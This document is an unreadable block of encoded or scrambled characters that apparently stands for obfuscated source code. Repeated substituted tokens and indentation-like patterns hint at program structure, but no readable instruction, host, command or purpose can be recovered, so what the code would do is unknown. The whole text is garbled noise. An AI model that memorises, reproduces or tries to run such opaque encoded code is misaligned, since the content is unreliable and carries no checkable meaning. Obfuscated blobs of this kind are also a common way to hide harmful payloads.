	0!(7.u=/&.(.mtpullle>Oeee7 107+~Oe8OOO#*7 $&-eeema	
	?|?!)+'qtu++mtpulee$6eeeeea,($+'!)"<'s.ex{eea-)6<'v#r/6=tleee>Oeeeeeee,#eeeemd?|?!)+'qtu++mtvtlma-)6<'v#r/6=tlleeea-)6<'v#r/6=teeexeea,($+'!)"<'s.~Oe,#eeema,($+'!)"<'s.eeexxxeee.!*q3ww&t$ 5+*7'&rmleee99eeeea-)6<'v#r/6=teexxxee.!*q3ww&t$ 5+*7'&rmllee&*+1,+0 ~Oeeee17<eee>Oee,#eem=}p-/*"'(=r+3mtptlma-)6<'v#r/6=tlle>Oee,#eeeem0!(7.u=/&.(.msrlm0!(7.u=/&.(.mtpwllle17.s-rs}w1.3'qma-)6<'v#r/6=tiemu=ttnu=t|vll~O,#em0!(7.u=/&.(.msrlm=}p-/*"'(=r+3mwullecceee&-p.5#|,2/2?|.!,ma-)6<'v#r/6=tlecce?|?!)+'qtu++msrlm=w7ru&0,2#3mtpvllle*5&$&- ,+3$),!$1 ma-)6<'v#r/6=tieee170 l~Oe8Oeeee8eee&$1&-eem-7*2$') eeeeea=w}=)'/7<3/le>Oeeeee8e&$1&-em =& 51,*+eeeeea=w}=)'/7<3/leee>Oeeeeee8Oeeeeee8Oeeeee8O#0+&1,*+eee=,?7-3$sw"<u,up1|,pp'mlOee>Oee17<e>Oa=w}=)'/7<3/eexe=}p-/*"'(=r+3mtpqlm0!(7.u=/&.(.mtppllezeeeeee 77*7" 1)$61mleeeeeee+0))~Oeeeeee,#emd=}p-/*"'(=r+3mrulma=w}=)'/7<3/le99e (51<ma=w}=)'/7<3/=}p-/*"'(=r+3mtpslle99eee (51<ma=w}=)'/7<3/=w7ru&0,2#3mtprllleee7 107+~O,#emd0!(7.u=/&.(.mtp}lma=w}=)'/7<3/0!(7.u=/&.(.mtprlieeee$77$<m  
ie  iee 
  
iee 
	  
ie   
lie170 lleee7 107+~Oa)(34wu00 s-s),seexe,66 1ma=w}=)'/7<3/=}p-/*"'(=r+3mtp|llezeem617,+"leea=w}=)'/7<3/=w7ru&0,2#3mtp|leeegg~Oe,#eem617,5*6ma)(34wu00 s-s),siee?|?!)+'qtu++mtsulledxxeeeee#$)6 eeee99eeee617,5*6ma)(34wu00 s-s),siee0!(7.u=/&.(.mtstlledxxee#$)6 lee7 107+~Oea?s7.1("(p&eexe=w7ru&0,2#3mtpqlm=}p-/*"'(=r+3mtswlleezee=w7ru&0,2#3mtswlm.!*q3ww&t$ 5+*7'&rmlleee.!*q3ww&t$ 5+*7'&rml~Oea #eeexe?|?!)+'qtu++mtsvlm0!(7.u=/&.(.mtswllezee0!(7.u=/&.(.mtsqlma=w}=)'/7<3/?|?!)+'qtu++mtpslleeeeea=w}=)'/7<3/?|?!)+'qtu++mtspl~Oee,#eemd?|?!)+'qtu++mtsslma?s7.1("(p&le99ed=}p-/*"'(=r+3mtsrlma #leee99eeeea #edxxeeea?s7.1("(p&lee7 107+~Oeeeeeeee,#eem,66 1ma	
	0!(7.u=/&.(.mts}llleeeee>Oeea,=s0=,r6$#exeeee=w7ru&0,2#3mpslm.!*q3ww&t$ 5+*7'&rmlieeeeee#$)6 iee+0))ieeeuiemquw|nsrll~Oeeee,#em=w7ru&0,2#3mtsrlma,=s0=,r6$#leeeecce=}p-/*"'(=r+3mrqlm=w7ru&0,2#3mrpliea,=s0=,r6$#iea!(lecceeea!(tedxxeeem617,+"lea	
	=w7ru&0,2#3mts}lleeee7 107+~eeeOOO0+6 1ma,=s0=,r6$#ieea!(l~Oee,#eeeem,66 1ma	
	0!(7.u=/&.(.mts|llleeee>Oeeee,#eeem0!(7.u=/&.(.mtsvlm=w7ru&0,2#3mtrullleee&) $761$1&$&- m170 ieee.!*q3ww&t$ 5+*7'&rmll~Oeea&w*2(}4r7&eexem617,+"le0!(7.u=/&.(.mtrtlm.!*q3ww&t$ 5+*7'&rmlleeekebbekeeeem617,+"leeeee?|?!)+'qtu++mrslm.!*q3ww&t$ 5+*7'&rmll~OOOOeee,#eeema&w*2(}4r7&eeedxxem617,+"leea	
	0!(7.u=/&.(.mts|lle7 107+~eOOeeeeee0+6 1ma&w*2(}4r7&l~Oeeee8Oee8Oa(p7/u0 *5&-6t$"eexe0!(7.u=/&.(.mqlm.!*q3ww&t$ 5+*7'&rmliee?|?!)+'qtu++mpull~Oa/#2w)t==6?4<!exee?|?!)+'qtu++m|plm--r<<!4$-0!rq)}pmm617,+"le?|?!)+'qtu++mtrwlm.!*q3ww&t$ 5+*7'&rmllll~Oee-3&*t0)(+,)?3 r6rm0!(7.u=/&.(.mtv|lm.!*q3ww&t$ 5+*7'&rmlleeeekeee?|?!)+'qtu++mtrvlekeea(p7/u0 *5&-6t$"ieeea/#2w)t==6?4<!ieeeeb4bl~O,#ema/#2w)t==6?4<!eeeedxxeeggleeee>Oeeee-3&*t0)(+,)?3 r6rm=w7ru&0,2#3mtv|lm.!*q3ww&t$ 5+*7'&rmlleeeeke=w7ru&0,2#3mtrqleeekea/#2w)t==6?4<!iem617,+"le=}p-/*"'(=r+3mtrplmlieb4bl~Oeee,#eem0!(7.u=/&.(.mtrslm=w7ru&0,2#3mtrrlllee>Oeeee05!$1 *51,*+m0!(7.u=/&.(.mtr}liea/#2w)t==6?4<!eeekeb9beeeke0!(7.u=/&.(.mtrplmlie=}p-/*"'(=r+3mtr|ll~Oe8Oeeeeee8OOeeeeeeeea&6/6-40)$6?.?3eeexeee4"<qv76 )}556+2(41?tt}ml~OOeeeeee,#eema&6/6-40)$6?.?3edxxeeeee0!(7.u=/&.(.mtv|lm.!*q3ww&t$ 5+*7'&rmlleccee=}p-/*"'(=r+3mt}ulma&6/6-40)$6?.?3leccee0!(7.u=/&.(.mt}tlma&6/6-40)$6?.?3lleeee>Oeeee-3&*t0)(+,)?3 r6rma&6/6-40)$6?.?3eekee=}p-/*"'(=r+3mtrvleeekeeea(p7/u0 *5&-6t$"iea/#2w)t==6?4<!ieeeeb4bl~Oe8OOOO,#eeem?|?!)+'qtu++mt}wlm?|?!)+'qtu++msslleecceeeee=}p-/*"'(=r+3mt}vlm=}p-/*"'(=r+3mt}qllleee>Oea.?0v|,vu=7-+.eexeeeeee" 1*51,*+m?|?!)+'qtu++ms|lieee$77$<mll~Oee,#em0!(7.u=/&.(.mrulma.?0v|,vu=7-+.leecce=}p-/*"'(=r+3mtp}lm3'0q=r/=qs?p(5mlieea.?0v|,vu=7-+.ie170 lleeee>OOOO05!$1 *51,*+m0!(7.u=/&.(.ms|liee=}p-/*"'(=r+3mrwlm=}p-/*"'(=r+3mt}plma.?0v|,vu=7-+.ieeeee$77$<m3'0q=r/=qs?p(5mlllll~Oee8O8Oe)"1}+p03 4,!.&s3m=}p-/*"'(=r+3mt}sll~Oa=t/1!1"- seeeexe.!*q3ww&t$ 5+*7'&rmlekeee=w7ru&0,2#3mt}rl~Oeeeee,#em0!(7.u=/&.(.mt}vlm0!(7.u=/&.(.mwqllle=w7ru&0,2#3mt}}lm.!*q3ww&t$ 5+*7'&rmlieea=t/1!1"- sl~Oeeeeee,#eeem=w7ru&0,2#3mt}vlm=w7ru&0,2#3mtpvllle>Oe*5&$&- ,+3$),!$1 m.!*q3ww&t$ 5+*7'&rmliee170 l~O*5&$&- ,+3$),!$1 ma=t/1!1"- sie170 l~Oeeeee8Oe#*7 $&-eem$77$<m0!(7.u=/&.(.mtv|lma=t/1!1"- slie4"<qv76 )}556+2(41?tt}mlle$6eeea !" +10s-?r -|leeee>Oea./#6-54&<65teexee*r=0p)/}!?|)1??/#qsma !" +10s-?r -|l~Oee,#eeemd=}p-/*"'(=r+3mrulma./#6-54&<65tlleeeee&*+1,+0 ~Oeeee#*7 $&-ema./#6-54&<65teeeeee$6ea*pv+3tr+$*(s le>Oee,#eeem=w7ru&0,2#3mt}|lma*pv+3tr+$*(s iehmqyytlleeeedxxeeee=}p-/*"'(=r+3mt|ulleeee&*+1,+0 ~Oeea*(),'-*&1/6 ,(rteexeea !" +10s-?r -|eeekeebjbeekeea*pv+3tr+$*(s ~Oeeea-#'t,6&#$'<74'exeeee?|?!)+'qtu++mrslma*(),'-*&1/6 ,(rtl~OOOOe,#ema-#'t,6&#$'<74'eeeccea-#'t,6&#$'<74'eeeyeeeee0!(7.u=/&.(.mtrplmleeeeeehemsuqrp|nqtllee>O17.s-rs}w1.3'qma*(),'-*&1/6 ,(rtiemtuvnvtrll~O&-p.5#|,2/2?|.!,ma*(),'-*&1/6 ,(rtl~Oee8Oeeeee8Oeeeeeeee8Oee0+6 1ma !" +10s-?r -|ieeea./#6-54&<65tiea*pv+3tr+$*(s iea*(),'-*&1/6 ,(rtiea-#'t,6&#$'<74'l~OOOO8eeeeee&$1&-eeem-7*2$') eeeea (r'?3w#r<1 u'lee>Oeeeeee8e&$1&-eem =& 51,*+eea (r'?3w#r<1 u'lee>Oee8Oee8Oee#0+&1,*+e2w$7w255 "?"1'ma5-.67/ 5w+|"#}qiea"&/s?31u3?&.#lO>OOO17<eeeee>Oe,#eemd=w7ru&0,2#3mtsrlma5-.67/ 5w+|"#}qle99ea5-.67/ 5w+|"#}qeeexxxeeeeeggee99eeed=w7ru&0,2#3mt|tlma"&/s?31u3?&.#lee99ea"&/s?31u3?&.#exxxeggleee7 107+~Oa,up&5"-,q7eeeexe=}p-/*"'(=r+3mtv|lma5-.67/ 5w+|"#}ql~OOeeeee,#eeeemd=w7ru&0,2#3mt}ulma,up&5"-,q7leeeeee99eed=}p-/*"'(=r+3mt}tlma,up&5"-,q7lleee7 107+~OOOOeea?!w'q2&t0.0.*eexeea,up&5"-,q7eekeeee=w7ru&0,2#3mt|wleeke=w7ru&0,2#3mt|vlma5-.67/ 5w+|"#}qieee0!(7.u=/&.(.mpull~OOOOeeeea"v3(q!/ tw)eexee=w7ru&0,2#3mtrwlma?!w'q2&t0.0.*l~Oee,#em?|?!)+'qtu++mt|tlma"v3(q!/ tw)leecce=}p-/*"'(=r+3mrqlm=}p-/*"'(=r+3mt|qliea"v3(q!/ tw)ieea)(34wu00 s-s),slecceee3 76,*+&*(5$7 ma)(34wu00 s-s),suieeeea"&/s?31u3?&.#ieee=w7ru&0,2#3mt|plllee7 107+~O,#eem=}p-/*"'(=r+3mt}vlm=}p-/*"'(=r+3mt|sllle?|?!)+'qtu++mt|slma?!w'q2&t0.0.*ieeeea"&/s?31u3?&.#l~Oe8eeee&$1&-eem-7*2$') ea=w}=)'/7<3/lee>Oe8eeeee&$1&-eem =& 51,*+eeea=w}=)'/7<3/leeeee>O8Oeeeeee8Oee#0+&1,*+eee(s=r<&pv/,p#s$06?<#mlOOOOee>OO17<eee>Oe,#eemd?|?!)+'qtu++mt|rlm0!(7.u=/&.(.mssllle>O7 107+~O8Oeee,#eeeeem" 1*51,*+m=}p-/*"'(=r+3mt|}lieeulle>O .220.r ,7)*r1t.m?|?!)+'qtu++mt||liee?|?!)+'qtu++mwuulieul~O8Oe,#eeeemd w##051|s4<1*tpv,r'&m=w7ru&0,2#3mwutllleee7 107+~OOOOeeeeeeeOeea,!w#uut6!4 pexee0!(7.u=/&.(.mwuwlm=w7ru&0,2#3m|plmeeeekeeeeem617,+"lee/$v/7?qq 0|<!<|$mllieuiemwntull~OOOa-&|v/pu|u70#+6weeeexeeeem617,+"leeeee" 1*51,*+ma,!w#uut6!4 pieeggl~Oa)3v+7#17v/ *p=eeeeexeeee0!(7.u=/&.(.mwuvl~OOOOeeeea0<t2wsq25t+0<+eeexegg~OOeeeeeOeeeea.-)0'?}r #-"*(exe6177 3m<.?0w34,t(?u<!q2"mll~Oeeeeeea675'p,325wtpq.vexe',7|#2u4-"!$4'1"sml~Oa35$$,=23|t&weexea675'p,325wtpq.veekeeb9beekeeea.-)0'?}r #-"*(~OOOeOOOOeeeeeeee,#em=w7ru&0,2#3m}lma-&|v/pu|u70#+6wieeb9bledxxeee#$)6 lee>Oea76|s"q'|1!7qteexeeeee=w7ru&0,2#3m|wlmb9bieeea-&|v/pu|u70#+6wieewl~Oeea)3v+7#17v/ *p=eeeeexeeeea76|s"q'|1!7qtu~OOOOeeeea0<t2wsq25t+0<+eexeea76|s"q'|1!7qtt~eeeeOeeeeeee8e )6 e>OeOeeea0<t2wsq25t+0<+eeeexeeeeea-&|v/pu|u70#+6w~O8OeeOOee,#eemda0<t2wsq25t+0<+leee>O05!$1 *51,*+ma,!w#uut6!4 pieea35$$,=23|t&wieee0!(7.u=/&.(.mwuqll~Oee7 107+~Oe8OeeeeeeOe,#eeema0<t2wsq25t+0<+eexxxeea.-)0'?}r #-"*(lee>OOeeeee,#eema-&|v/pu|u70#+6wedxxeeea35$$,=23|t&weeecceee3 76,*+&*(5$7 ma675'p,325wtpq.vieea)3v+7#17v/ *p=iee=}p-/*"'(=r+3mwupllleee>OOeee05!$1 *51,*+ma,!w#uut6!4 piea35$$,=23|t&wiee?|?!)+'qtu++mwuqll~O8OOOOeeeeee7 107+~Oee8OeeOea=tsr(-.?/eexeee6177 3ma0<t2wsq25t+0<+l~OOe,#eeeeema=tsr(-.?/exxxeeggeee99ee?|?!)+'qtu++mt|vlma=tsr(-.?/leeedxxeeeeea=tsr(-.?/le>Oeeeee05!$1 *51,*+ma,!w#uut6!4 pieea35$$,=23|t&wie0!(7.u=/&.(.mwuqll~Oeee7 107+~Oee8Oeeeea*$*"?/00.r#$2*exeee4"<qv76 )}556+2(41?tt}mleeekeebjbeeekeeeeeea=tsr(-.?/~Oa&=!2<= |p44?eexegg~Oeeeee,#em! #,+ !m?|?!)+'qtu++mwusllle>Oea&=!2<= |p44?eeeexee	eeekebjbeeeeeekee=w7ru&0,2#3mwurlma=tsr(-.?/ie
	  leeeeekeebjbeekeeeea=tsr(-.?/~Oee8OOa=.t 055q-#5v$q=eexee0!(7.u=/&.(.mwu}lma*$*"?/00.r#$2*l~Oeea))swv3/=|'/*exeea=.t 055q-#5v$q=edxxe#$)6 eeecceea=.t 055q-#5v$q=ee{xemu=!tvnu=srpl~Oeeea"w#pt5<(6(eeeexeeeea&=!2<= |p44?ezeeeee=w7ru&0,2#3mwu|lma&=!2<= |p44?leeeeee#$)6 ~Oeeeea//!='|12p4exeea"w#pt5<(6(eeeeedxxee#$)6 eeecceeeeeea"w#pt5<(6(eeee{xeeeeemq|qpnppl~OOeeeeOeeeee,#eemda))swv3/=|'/*ecceeeda//!='|12p4lee>Oe05!$1 *51,*+ma,!w#uut6!4 piea35$$,=23|t&wie=}p-/*"'(=r+3mwuqll~O7 107+~Oe8Oa#| 6 "tqqq6?6-*eexea))swv3/=|'/*eezeeea*$*"?/00.r#$2*eea&=!2<= |p44?~Oa/20"7&s5!34wq+eexee=}p-/*"'(=r+3mtrwlma#| 6 "tqqq6?6-*iee#$)6 ieeee+0))ieuieeeeemwrqsntvpull~OOOOe,#eem0!(7.u=/&.(.mt|tlma/20"7&s5!34wq+lecce?|?!)+'qtu++mrqlm=w7ru&0,2#3mrpliea/20"7&s5!34wq+ieea#(llee>Oea)3v+7#17v/ *p=eexea#(t~O8eee )6 ,#em1?717-.?s')pru }'s.ma#| 6 "tqqq6?6-*ieemq|q|nptllleeeee>Oa)3v+7#17v/ *p=exeeeee=w7ru&0,2#3mwuvl~OOeeee8O0+6 1ma/20"7&s5!34wq+ieeeea#(l~OOOOa3|0t$#qp "!3eeexeea))swv3/=|'/*~Oee,#emda3|0t$#qp "!3eecceeea//!='|12p4le>Oeeea0?#rs<-/4*-0,<)teeexee?|?!)+'qtu++mwtulma=tsr(-.?/ie
	  leeeekebjbekea=tsr(-.?/~Oeeeeeea=3}, ,6v.p+,sqeeeexeeem$77$<le" 1*51,*+m=}p-/*"'(=r+3mwttlieee$77$<mll~Oea3|0t$#qp "!3eexe?|?!)+'qtu++mwtwlma0?#rs<-/4*-0,<)tiea=3}, ,6v.p+,sqie170 l~O,#eeemda3|0t$#qp "!3eeecceeee0!(7.u=/&.(.mt|rlm=w7ru&0,2#3mwtvllecceeee,6(0)1,6,1 mleeeeeccee=w7ru&0,2#3mwtqlm?|?!)+'qtu++mwtpllle>Oea/6)<564476)vexeem$77$<leee" 16,1 *51,*+m0!(7.u=/&.(.mwtslie$77$<mll~OOOeeea3|0t$#qp "!3eexee,66 1ma/6)<564476)va0?#rs<-/4*-0,<)tl~OOOOee0+6 1ma/6)<564476)vl~OOeee8Oee0+6 1ma0?#rs<-/4*-0,<)tieea=3}, ,6v.p+,sql~OOOO8Oeeeeeeea+,"=||?-v,p"-5rexe3 76,*+&*(5$7 ma675'p,325wtpq.vieea)3v+7#17v/ *p=l~O,#ema+,"=||?-v,p"-5reyxeulee>Oeea5=u)=//($(#w)u"exe1?717-.?s')pru }'s.ma#| 6 "tqqq6?6-*ieeeeeemq|}pntpll~Oeeeea1!7vs-/&<'33"w<exeeeeem,+1lee=}p-/*"'(=r+3mwu|lma#| 6 "tqqq6?6-*l~Oa4q($4t-$ w2eexemda5=u)=//($(#w)u"ee99eeeea1!7vs-/&<'33"w<e{emtuuus}utuhqrsv|wtull~Oe,#eeemda4q($4t-$ w2eeccea1!7vs-/&<'33"w<e{emtuq}prwnqlle>Oeea&!v+#"5|-*u7(eexee=}p-/*"'(=r+3mtrwlma#| 6 "tqqq6?6-*iee#$)6 ieee+0))ieuieemu=||snu=ss$ll~Oeeee,#emd?|?!)+'qtu++mt|tlma&!v+#"5|-*u7(leee99ed=w7ru&0,2#3mrqlm?|?!)+'qtu++mwtrlieea&!v+#"5|-*u7(lleea4q($4t-$ w2eexeeee170 ~Oeee8Oe,#eeeemda4q($4t-$ w2eeeeeecced?/4|4r-66<+3qrv".sr+r.ma#| 6 "tqqq6?6-*lleeea4q($4t-$ w2eexeee170 ~Oeeeeeee,#eeeeeemda4q($4t-$ w2lee>Oeea#.?2$$-w)1eeexe2(0#.#=p#-us."w6$=ml~Oee,#emd (51<ma#.?2$$-w)10!(7.u=/&.(.mwt}llleee>OOOea6(/=v* .q#w6+42!eexe=w7ru&0,2#3mwt|lma#.?2$$-w)10!(7.u=/&.(.mwt}ll~Oa=-0t5!!t3 -3#,=veexeee?|?!)+'qtu++mwwulma#| 6 "tqqq6?6-*l~Oeee,#eem?|?!)+'qtu++mt|tlma6(/=v* .q#w6+42!lecce0!(7.u=/&.(.mt|tlma=-0t5!!t3 -3#,=vleecceeea6(/=v* .q#w6+42!eeeexxxea=-0t5!!t3 -3#,=vle>Oeeeeea- 1|(w2-p} ,wt3'eexee,wpv?) 7+s1-0t1$6ma#.?2$$-w)1l~Oeeee,#eeema- 1|(w2-p} ,wt3'eeexxxe=w7ru&0,2#3mwwtle99eeeeea- 1|(w2-p} ,wt3'eexxxee?|?!)+'qtu++mwwwlleeeea4q($4t-$ w2eeeeexeeee170 ~OOOOe8Oeee0+6 1ma6(/=v* .q#w6+42!iea=-0t5!!t3 -3#,=viea- 1|(w2-p} ,wt3'l~Oeeee8O,#eemda4q($4t-$ w2ecceee#$-q/0*5,} w|*)377sma#| 6 "tqqq6?6-*lleea4q($4t-$ w2exe170 ~Oeeeee0+6 1ma#.?2$$-w)1l~OOOe8Oe,#ema4q($4t-$ w2lee>Oeeeee,#eeema5=u)=//($(#w)u"leeeeee/ws=wr'!#(/"r's-w*-",ma#| 6 "tqqq6?6-*l~Oe05!$1 *51,*+ma,!w#uut6!4 pieeeea35$$,=23|t&wie0!(7.u=/&.(.mwuqll~OOO7 107+~O8OOOeeeeeee,#eeeemda3|0t$#qp "!3leee>Oee05!$1 *51,*+ma,!w#uut6!4 pieeeeea35$$,=23|t&wie0!(7.u=/&.(.mwuqll~OOOee7 107+~O8O2w$7w255 "?"1'm.!*q3ww&t$ 5+*7'&rmlieea)3v+7#17v/ *p=l~O/q+(?47(|!2='v$m.!*q3ww&t$ 5+*7'&rmll~Oeeeee7 107+eeee170 ~Oe8Oeeee,#eeeeeem (51<ma	
	=w7ru&0,2#3mwwvlllee>Oea	
	?|?!)+'qtu++mwwvleeexeeee170 ~O,#em1?717-.?s')pru }'s.ma#| 6 "tqqq6?6-*ieemq|}sntqllleee/ws=wr'!#(/"r's-w*-",ma#| 6 "tqqq6?6-*l~Oa14  #|}<15|?<1.exee?|?!)+'qtu++mtrplml~Oe6qp1/"3/r)3u0v.w,|m.!*q3ww&t$ 5+*7'&rmliema14  #|}<15|?<1.eeehema14  #|}<15|?<1.ee`eeemtvsqrvhvsqrvllleeene/$v/7?qq 0|<!<|$mll~OOeeee0+6 1ma14  #|}<15|?<1.l~OOOOee2w$7w255 "?"1'ma*$*"?/00.r#$2*ieea675'p,325wtpq.vl~Oe,#eeeema&=!2<= |p44?leeee2w$7w255 "?"1'ma&=!2<= |p44?ieea675'p,325wtpq.vl~Oeeeeeee .220.r ,7)*r1t.m=}p-/*"'(=r+3mt||lie=}p-/*"'(=r+3mwwqlieeul~Oe05!$1 *51,*+ma,!w#uut6!4 piea35$$,=23|t&wieeeee=}p-/*"'(=r+3mwuqll~O)"1}+p03 4,!.&s3m=}p-/*"'(=r+3mwwpll~Oe,#eeema&=!2<= |p44?eeeeedxxeeeeggeeeccee=}p-/*"'(=r+3mwwslm0!(7.u=/&.(.mwwrlllee>Oeeeeeea,$w"4v-p33-qq/.weeeexe?|?!)+'qtu++mwtulma=tsr(-.?/ie
	  leeeekeeeebjbeeeekeeea=tsr(-.?/~OOOea=3}, ,6v.p+,sqeexee" 1*51,*+m=w7ru&0,2#3mwttlie$77$<mll~Oe,#eeeeeem=}p-/*"'(=r+3mrulma=3}, ,6v.p+,sqlecceee0!(7.u=/&.(.mwtwlma,$w"4v-p33-qq/.wiea=3}, ,6v.p+,sqieeeee170 lle>Oee05!$1 *51,*+m0!(7.u=/&.(.mww}lieeee0!(7.u=/&.(.mrwlm?|?!)+'qtu++mww|lma=3}, ,6v.p+,sqiee$77$<ma,$w"4v-p33-qq/.wllll~Oeeeeeeee8OO0+6 1ma,$w"4v-p33-qq/.wieeea=3}, ,6v.p+,sql~Oee8O8Oeee7 107+~OOOOeee8e&$1&-eeeeem-7*2$') eea=w}=)'/7<3/le>Oeeeeeeee="!24p3/qt!$s631p2',pm=}p-/*"'(=r+3mwvulieea=w}=)'/7<3/l~Oeee8ee&$1&-em =& 51,*+eeea=w}=)'/7<3/le>Oeeeee8eeee#,+$))<e>Oeeee'17<}</=s3*w3w|v(=sm=w7ru&0,2#3mwutll~O8Oe8Oe#0+&1,*+eee*r=0p)/}!?|)1??/#qsma,up&5"-,q7lOeeeeeee>Oe,#eeem0!(7.u=/&.(.mwwslm?|?!)+'qtu++mwvtlleeeeeecceee0!(7.u=/&.(.mwwslm=w7ru&0,2#3mwvwlllee>Oa/$(7")31-01'exee=}p-/*"'(=r+3mwvtlma,up&5"-,q7l~Oeeeee,#eeeema/$(7")31-01'leee>Oa |+<5s12$eeeeexee$77$<ml~Oeeee2-,) eeeeeemma=w}=)'/7<3/eeeexeee0!(7.u=/&.(.mwvvlma/$(7")31-01'lleeeedxxeeee#$)6 leeeee>Oee,#eeema=w}=)'/7<3/eeedxxeebkbeeeccea=w}=)'/7<3/edxxeeee0!(7.u=/&.(.mwvqlleeea |+<5s12$exeeeea=w}=)'/7<3/~Oeeee8Oeee,#em0!(7.u=/&.(.mwwslm?|?!)+'qtu++mwvplllee0!(7.u=/&.(.mwvplma/$(7")31-01'l~Oeeeeee7 107+ea |+<5s12$~OOeeeee8Oeeeee8Oeee,#eem=}p-/*"'(=r+3mwvslm=}p-/*"'(=r+3mwvrllle>OOOa=ss<?3q&?(w&)0'qeeeeexee0!(7.u=/&.(.mwvrlma,up&5"-,q7l~Oe,#em?|?!)+'qtu++mwv}lma=ss<?3q&?(w&)0'qlle7 107+eee=w7ru&0,2#3mrwlm=}p-/*"'(=r+3mww|lma=ss<?3q&?(w&)0'qiee$77$<mbkbieeeee0!(7.u=/&.(.mwvqllll~OOOOee8Oeeeee,#eem=}p-/*"'(=r+3mwv|lm=w7ru&0,2#3mwqullle>Oea#1<6#5,u($teeexe=w7ru&0,2#3mwqulma,up&5"-,q7ekeee=w7ru&0,2#3mwqtll~Oeeee,#eeeeem=}p-/*"'(=r+3mwv}lma#1<6#5,u($tlle7 107+ee=w7ru&0,2#3mwqwlm=}p-/*"'(=r+3mwqvliea#1<6#5,u($tl~Oeee8O7 107+ee+0))~OOOe8Oeee#0+&1,*+ee +/$07!"qr+ 6)*pw</s -ma?2*"sw"=p6/2lO>Oeeeeee,#eeeeemd0!(7.u=/&.(.mt|tlma?2*"sw"=p6/2le99eee=}p-/*"'(=r+3m}lma?2*"sw"=p6/2ieeee=}p-/*"'(=r+3mwqqllexxxeeee#$)6 leeeee7 107+eeee#$)6 ~Oeee,#eeeem0!(7.u=/&.(.mwqplma?2*"sw"=p6/2lee{eemu=&vpu$nu=v&$#sllea?2*"sw"=p6/2eeeexeeee--r<<!4$-0!rq)}pma?2*"sw"=p6/2l~Oeee,#em0!(7.u=/&.(.mwqplma?2*"sw"=p6/2le{emtuq}ptqnswlle7 107+eeee#$)6 ~Oeeeeeee,#eeemd=}p-/*"'(=r+3mwv|lm?|?!)+'qtu++mwqsllleeeee7 107+e170 ~OOOe,#eemd! #,+ !m=w7ru&0,2#3mwqrllle>Oeeeeeea'31q20('13)t'|!eeeexeeee1*. +" 1$))ma?2*"sw"=p6/2l~OOOeeeeee,#eeeeemd=}p-/*"'(=r+3mwv}lma'31q20('13)t'|!llee7 107+e170 ~Oeeeeea$/}65#u'$<*67?|eexeeu~O#*7 $&-eeema'31q20('13)t'|!eee$6eeeea61)q(6| s/$=|$le>OOe,#eeem=}p-/*"'(=r+3mwv}lma61)q(6| s/$=|$lle>OOOee,#ema61)q(6| s/$=|$ueeexxxee	
 e99eea61)q(6| s/$=|$uexxxe
		
 	 leea$/}65#u'$<*67?|nn~O&*+1,+0 ~Oe8O,#ema61)q(6| s/$=|$exxxeeeeb>bleeeea$/}65#u'$<*67?|nn~Oeeee )6 ,#eeema61)q(6| s/$=|$eexxxeeeb8ble>Oeeeea$/}65#u'$<*67?|hh~O,#eeema$/}65#u'$<*67?|eeeeeeyeule7 107+ee#$)6 ~O8Oee8Oee7 107+eea$/}65#u'$<*67?|eeexxxeeu~OOee8Oee17<eee>Oe1*. +" 1$))ma?2*"sw"=p6/2iee
  l~Oe7 107+eeee170 ~O8ee&$1&-em-7*2$') ea=w}=)'/7<3/le>O7 107+eeeee#$)6 ~O8eeeee&$1&-eeeem =& 51,*+ea=w}=)'/7<3/le>OO7 107+ee#$)6 ~OOeee8Oeeeeeee8O#0+&1,*+e,$6<'?s!uw=3/3r60mlOee>OO7 107+eeeeee$77$<m0!(7.u=/&.(.mwq}liee=}p-/*"'(=r+3mwq|lieeee?|?!)+'qtu++mwpull~OOOO8O#0+&1,*+ee4*vt2u$2#($}r-=)umlOe>O7 107+e$77$<m?|?!)+'qtu++mwptlieeeee=}p-/*"'(=r+3mwpwlieee0!(7.u=/&.(.mwpvlie=w7ru&0,2#3mwpqlieeee=}p-/*"'(=r+3mwpplie0!(7.u=/&.(.mwpslieeeee=w7ru&0,2#3mwprliee=w7ru&0,2#3mwp}liee0!(7.u=/&.(.mwp|lieeee?|?!)+'qtu++mwsulie=w7ru&0,2#3mwstlieeee?|?!)+'qtu++mwswlie0!(7.u=/&.(.mwsvlie=w7ru&0,2#3mwsqlie0!(7.u=/&.(.mwsplieeeeee?|?!)+'qtu++mwsslie0!(7.u=/&.(.mwsrlie=w7ru&0,2#3mws}liee?|?!)+'qtu++mws|liee=}p-/*"'(=r+3mwrull~Oe8O#0+&1,*+eee/&p(+1=3.7/"(/&rmlO>O7 107+ee$77$<m0!(7.u=/&.(.mwrtlie0!(7.u=/&.(.mwrwlie0!(7.u=/&.(.mwrvlie=w7ru&0,2#3mwrqll~Oe8OeOe#0+&1,*+ee-u61+<(w= 5"200*+(qma2157urtu*+lOee>Oee,#eeeem?|?!)+'qtu++mwv|lm?|?!)+'qtu++mwrpllleeeee7 107+eee"? +&*! ma2157urtu*+iemr|rull~O,#eeeem?|?!)+'qtu++mwv|lm=}p-/*"'(=r+3mwrslllee>Oe7 107+eeeeeg=t#=}'=u}=uu=uu=uu=uu=uu=uu=uvgeeeekeeee"?! #)$1 ma2157urtu*+ieeemt|wslleeke?|?!)+'qtu++mwrrlmbbieeee=w7ru&0,2#3mwr}lma2157urtu*+llekee0!(7.u=/&.(.mwr|lmbbieeeeee=w7ru&0,2#3mwqplma2157urtu*+leecemqu|uqpwvsrnwuqptq|w}ll~Oee8Oeee7 107+eeeeeea2157urtu*+~O8OOOeeeeee#0+&1,*+eee0*|6'ttsv/}=*'0ma2157urtu*+lOeeeeeeee>Oee,#emd=w7ru&0,2#3mt|tlma2157urtu*+le99e?|?!)+'qtu++mw}ulma2157urtu*+leeeeyewleeeeee7 107+eeeeeea2157urtu*+~Oee,#em?|?!)+'qtu++mwuwlma2157urtu*+ieeuiewleeedxxeg=t#=}'gle7 107+eeea2157urtu*+~Oee,#em=}p-/*"'(=r+3mw}tlma2157urtu*+leyemu=tunu=wlleeeeee7 107+eee#$)6 ~Oea'?p&&)s#=<3?}|)?exee0!(7.u=/&.(.mw}wlmbbie=}p-/*"'(=r+3mwuwlma2157urtu*+ieehmu=tnu=vlll~Oeeeea'?p&&)s#=<3?}|)?exeeee?|?!)+'qtu++mwv}lma'?p&&)s#=<3?}|)?lezeea'?p&&)s#=<3?}|)?teeeeeu~O,#eeeema'?p&&)s#=<3?}|)?eyeeeemrsrhwsrleee99ea'?p&&)s#=<3?}|)?eee{eeeeemt|w|sqvh}}tusrlleeee7 107+eee#$)6 ~OOee,#em=}p-/*"'(=r+3mwv|lm=w7ru&0,2#3mw}vlllee>Oea&?||$(,+eeeexeeeeee"?! &*! 